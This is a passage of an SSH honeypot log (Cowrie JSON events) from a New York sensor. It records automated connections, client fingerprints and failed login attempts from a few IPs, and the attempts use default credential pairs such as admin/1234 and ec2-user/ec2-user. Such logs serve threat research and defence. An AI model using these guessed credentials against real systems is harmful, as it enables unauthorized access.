{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.352113Z","src_ip":"45.153.34.114","session":"37c5f4bef612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.435241Z","src_ip":"103.75.199.4","session":"d0fdcb63ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43588,"dst_ip":"159.203.135.109","dst_port":22,"session":"99197e0442f3","protocol":"ssh","message":"New connection: 194.59.206.2:43588 (159.203.135.109:22) [session: 99197e0442f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.476813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.482013Z","src_ip":"194.59.206.2","session":"99197e0442f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.572002Z","src_ip":"194.59.206.2","session":"99197e0442f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.607454Z","src_ip":"45.153.34.114","session":"37c5f4bef612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.669547Z","src_ip":"194.59.206.2","session":"99197e0442f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:20.696678Z","src_ip":"45.153.34.114","session":"37c5f4bef612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":32928,"dst_ip":"159.203.135.109","dst_port":22,"session":"7629fab59570","protocol":"ssh","message":"New connection: 45.153.34.114:32928 (159.203.135.109:22) [session: 7629fab59570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:27.645076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:27.650178Z","src_ip":"45.153.34.114","session":"7629fab59570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:27.737036Z","src_ip":"45.153.34.114","session":"7629fab59570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:28.133148Z","src_ip":"45.153.34.114","session":"7629fab59570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:29.223714Z","src_ip":"45.153.34.114","session":"7629fab59570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51872,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ca9c0d66e2","protocol":"ssh","message":"New connection: 45.153.34.114:51872 (159.203.135.109:22) [session: 72ca9c0d66e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:35.829490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:35.833903Z","src_ip":"45.153.34.114","session":"72ca9c0d66e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:35.920050Z","src_ip":"45.153.34.114","session":"72ca9c0d66e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:36.176113Z","src_ip":"45.153.34.114","session":"72ca9c0d66e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:37.264624Z","src_ip":"45.153.34.114","session":"72ca9c0d66e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52924,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90ef373539f","protocol":"ssh","message":"New connection: 103.75.199.4:52924 (159.203.135.109:22) [session: d90ef373539f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:39.842205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:39.846810Z","src_ip":"103.75.199.4","session":"d90ef373539f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:39.942097Z","src_ip":"103.75.199.4","session":"d90ef373539f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:40.228670Z","src_ip":"103.75.199.4","session":"d90ef373539f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:41.327768Z","src_ip":"103.75.199.4","session":"d90ef373539f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53132,"dst_ip":"159.203.135.109","dst_port":22,"session":"6069d7844776","protocol":"ssh","message":"New connection: 45.153.34.114:53132 (159.203.135.109:22) [session: 6069d7844776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:44.275924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:44.281191Z","src_ip":"45.153.34.114","session":"6069d7844776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:44.368464Z","src_ip":"45.153.34.114","session":"6069d7844776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:44.727635Z","src_ip":"45.153.34.114","session":"6069d7844776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:45.814701Z","src_ip":"45.153.34.114","session":"6069d7844776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9808ab79ad4","protocol":"ssh","message":"New connection: 45.153.34.114:48856 (159.203.135.109:22) [session: c9808ab79ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:52.428927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:52.454275Z","src_ip":"45.153.34.114","session":"c9808ab79ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:52.514408Z","src_ip":"45.153.34.114","session":"c9808ab79ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:52.849674Z","src_ip":"45.153.34.114","session":"c9808ab79ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:53.935601Z","src_ip":"45.153.34.114","session":"c9808ab79ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35420,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ecb46d22637","protocol":"ssh","message":"New connection: 45.153.34.114:35420 (159.203.135.109:22) [session: 4ecb46d22637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:00.209311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:00.219532Z","src_ip":"45.153.34.114","session":"4ecb46d22637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:00.311507Z","src_ip":"45.153.34.114","session":"4ecb46d22637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:00.651836Z","src_ip":"45.153.34.114","session":"4ecb46d22637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43322,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ee3dd235ba","protocol":"ssh","message":"New connection: 103.75.199.4:43322 (159.203.135.109:22) [session: c2ee3dd235ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:01.688637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:01.697258Z","src_ip":"103.75.199.4","session":"c2ee3dd235ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:01.737588Z","src_ip":"45.153.34.114","session":"4ecb46d22637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 